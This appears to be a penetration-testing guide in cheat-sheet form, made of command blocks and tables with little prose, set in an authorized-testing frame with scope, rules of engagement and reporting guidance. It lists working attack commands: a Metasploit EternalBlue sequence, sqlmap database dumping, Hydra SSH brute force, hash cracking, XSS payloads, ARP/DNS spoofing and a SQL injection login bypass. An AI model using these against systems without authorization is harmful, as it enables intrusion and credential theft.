┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐    ┌─────────────┐
│Reconnaissance│───▶│  Scanning   │───▶│Exploitation│───▶│Maintaining  │───▶│  Reporting   │
│             │    │             │    │             │    │  Access     │    │             │
│ Gather info  │    │ Identify    │    │ Exploit     │    │ Keep access │    │ Document    │
│ on target    │    │ vulnerable  │    │ vulns       │    │ for further  │    │ findings    │
│             │    │ services    │    │             │    │ exploration │    │             │
└─────────────┘    └─────────────┘    └─────────────┘    └─────────────┘    └─────────────┘

# Port scanning
nmap -sV -sC -p- 10.0.0.1

# Subdomain enumeration
subfinder -d example.com

# Web crawling
gobuster dir -u https://example.com -w /usr/share/wordlists/dirb/common.txt

# Shodan search
shodan search "org:Example Corp"

# Basic scan
nmap target.com

# Service version detection
nmap -sV target.com

# OS detection
nmap -O target.com

# Aggressive scan
nmap -A target.com

# Scan specific ports
nmap -p 80,443,22 target.com

# Scan all ports
nmap -p- target.com

# Output formats
nmap -oN output.txt target.com
nmap -oX output.xml target.com

# Vulnerability scan with Nessus
nessus -i targets.txt -o results.xml

# Web vulnerability scan with Nikto
nikto -h https://example.com

# SQL injection scan with SQLMap
sqlmap -u "https://example.com/page?id=1"

# Use Metasploit
msfconsole
search type:exploit platform:windows
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.0.0.1
exploit

# SQL injection with SQLMap
sqlmap -u "https://example.com/page?id=1" --dbs

# Password cracking with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.1

# Scan all ports
nmap -p- target.com

# Scan with scripts
nmap --script vuln target.com

# Scan UDP
nmap -sU target.com

# Start console
msfconsole

# Search exploits
search type:exploit

# Use exploit
use exploit/windows/smb/ms17_010_eternalblue

# Set options
set RHOST 10.0.0.1
set LHOST 10.0.0.2

# Exploit
exploit

# Sessions
sessions -l

# Capture traffic
wireshark -i eth0

# Filter by IP
ip.addr == 10.0.0.1

# Filter by protocol
http or dns

# Filter by port
tcp.port == 80

# Crack password hashes
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Show cracked passwords
john --show hashes.txt

# Test for SQL injection
sqlmap -u "https://example.com/page?id=1"

# Enumerate databases
sqlmap -u "https://example.com/page?id=1" --dbs

# Dump tables
sqlmap -u "https://example.com/page?id=1" -D database --tables

# Dump columns
sqlmap -u "https://example.com/page?id=1" -D database -T table --columns

# Test for XSS
xsser -u "https://example.com/page?param=value"

# Manual testing
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

# Generate CSRF PoC with Burp
# Use CSRFTester
# Check for anti-CSRF tokens

# ARP spoofing with Ettercap
ettercap -T arp -i eth0 -M /gateway_ip/ /target_ip/

# DNS spoofing with dnsspoof
dnsspoof -i eth0 -f /etc/hosts

# Finding: SQL Injection in Login Form

**Severity**: Critical

**Description**:
The login form is vulnerable to SQL injection, allowing attackers to bypass authentication and access the database.

**Evidence**:
Payload: ' OR '1'='1
Response: Login successful

**Impact**:
- Unauthorized database access
- Data exfiltration
- Potential complete system compromise

**Recommendation**:
Use parameterized queries to prevent SQL injection.

**Remediation**:
```javascript
// Vulnerable code
const query = `SELECT * FROM users WHERE username = '${username}'`;

// Fixed code
const query = 'SELECT * FROM users WHERE username = $1';
await db.query(query, [username]);

## Pen Test Frequency

| Organization Type | Frequency |
|------------------|-----------|
| **High security** | Quarterly |
| **Medium security** | Semi-annually |
| **Low security** | Annually |
| **After major changes** | Immediately |

### Compliance Requirements

| Regulation | Requirement |
|------------|-------------|
| **PCI DSS** | Annual pen test + quarterly ASV scan |
| **SOC2** | Annual pen test |
| **HIPAA** | Risk assessment (pen test recommended) |
| **ISO 27001** | Regular security testing |

## In-House vs Outsourced

| Aspect | In-House | Outsourced |
|--------|------------|-------------|
| **Cost** | Lower | Higher |
| **Expertise** | Limited | Broad |
| **Perspective** | Biased | Unbiased |
| **Tools** | Limited | Comprehensive |
| **Certification** | May not have | Certified |

### When to Use Each

| Situation | Approach |
|-----------|-----------|
| **Regular testing** | In-house |
| **Compliance** | Outsourced (certified) |
| **Specialized testing** | Outsourced |
| **Continuous testing** | In-house + automated |

## Bug Bounty Programs

### Crowdsourced Security Testing

**Benefits**:
- Continuous testing
- Global talent pool
- Pay for valid vulnerabilities
- White-hat engagement

### Platforms

| Platform | Description |
|-----------|-------------|
| **HackerOne** | Largest bug bounty platform |
| **Bugcrowd** | Enterprise-focused |
| **Intigriti** | High-quality researchers |
| **YesWeHack** | European platform |

### Bounty Structure

| Severity | Typical Bounty |
|----------|----------------|
| **Critical** | $10,000+ |
| **High** | $1,000 - $10,000 |
| **Medium** | $100 - $1,000 |
| **Low** | $50 - $100 |

### Program Setup

**Components**:
- Scope (what's in/out)
- Rules of engagement
- Bounty amounts
- Disclosure policy
- Safe harbor

## Legal and Ethical

### Always Get Permission

**Required**:
- Written authorization
- Defined scope
- Rules of engagement
- Non-disclosure agreement

### Scope Definition

| In Scope | Out of Scope |
|-----------|--------------|
| `example.com` | `example.org` |
| `api.example.com` | Third-party services |
| Mobile app | Physical security |
| Employee accounts | Social engineering |

### Rules of Engagement

1. **No disruption** | Don't impact production |
2. **No data exfiltration** | Don't steal data |
3. **Report findings** | Report all vulnerabilities |
4. **Respect privacy** | Don't access personal data |
5. **Stop if asked** | Stop immediately if requested |

### Non-Disclosure Agreement

**Key Points**:
- Confidentiality of findings
- No disclosure without permission
- Return all data after test
- No use of findings for other purposes

## Real Pen Test Scenarios

### Scenario 1: Web App Security Assessment

**Target**: E-commerce website

**Approach**:
1. Reconnaissance: Gather info about site
2. Scanning: Identify technologies, vulnerabilities
3. Testing: Test for OWASP Top 10
4. Exploitation: Attempt to exploit vulnerabilities
5. Reporting: Document findings and recommendations

**Findings**:
- SQL injection in search
- XSS in product reviews
- CSRF in checkout
- Broken access control in user profiles

### Scenario 2: Network Infrastructure Test

**Target**: Corporate network

**Approach**:
1. Reconnaissance: Identify network range
2. Scanning: Find open ports, services
3. Exploitation: Attempt to exploit services
4. Lateral movement: Move within network
5. Reporting: Document findings

**Findings**:
- Unpatched Windows server
- Default credentials on router
- Misconfigured firewall
- Weak SMB configuration

### Scenario 3: Cloud Security Review

**Target**: AWS infrastructure

**Approach**:
1. Reconnaissance: Identify AWS resources
2. Scanning: Check for misconfigurations
3. Testing: Test IAM permissions, S3 buckets
4. Exploitation: Attempt to access resources
5. Reporting: Document findings

**Findings**:
- Publicly accessible S3 bucket
- Overly permissive IAM role
- Unencrypted EBS volumes
- Security groups allow 0.0.0.0/0

## Summary Checklist

### Before Pen Test

- [ ] Written authorization obtained
- [ ] Scope defined
- [ ] Rules of engagement agreed
- [ ] NDA signed
- [ ] Tools prepared

### During Pen Test

- [ ] Stay within scope
- [ ] Document all findings
- [ ] Preserve evidence
- [ ] Report issues immediately
- [ ] Stop if asked

# OWASP ZAP
docker run -t owasp/zap2docker-stable zap-baseline.py -t http://target-app.com

# Nmap scan
nmap -sV -sC target.com

# Burp Suite
# Use Burp Suite for manual testing

# Vulnerability Report

## Summary
[Brief description]

## Severity
[Critical/High/Medium/Low]

## Description
[Detailed description]

## Impact
[Potential impact]

## Steps to Reproduce
1. Step 1
2. Step 2

## Remediation
[How to fix]

## References
[CVEs, OWASP, etc.]

# ❌ Bad - No authorization
"Let me test this system"
# Unauthorized access!

# ✅ Good - Written authorization
Authorization letter signed by:
- CTO
- Security team
- Legal team
Scope clearly defined

# ❌ Bad - Out of scope
Scope: Web application
Action: Tested production database
# Beyond scope!

# ✅ Good - Stay in scope
Scope: Web application
Action: Tested only web application
# Within scope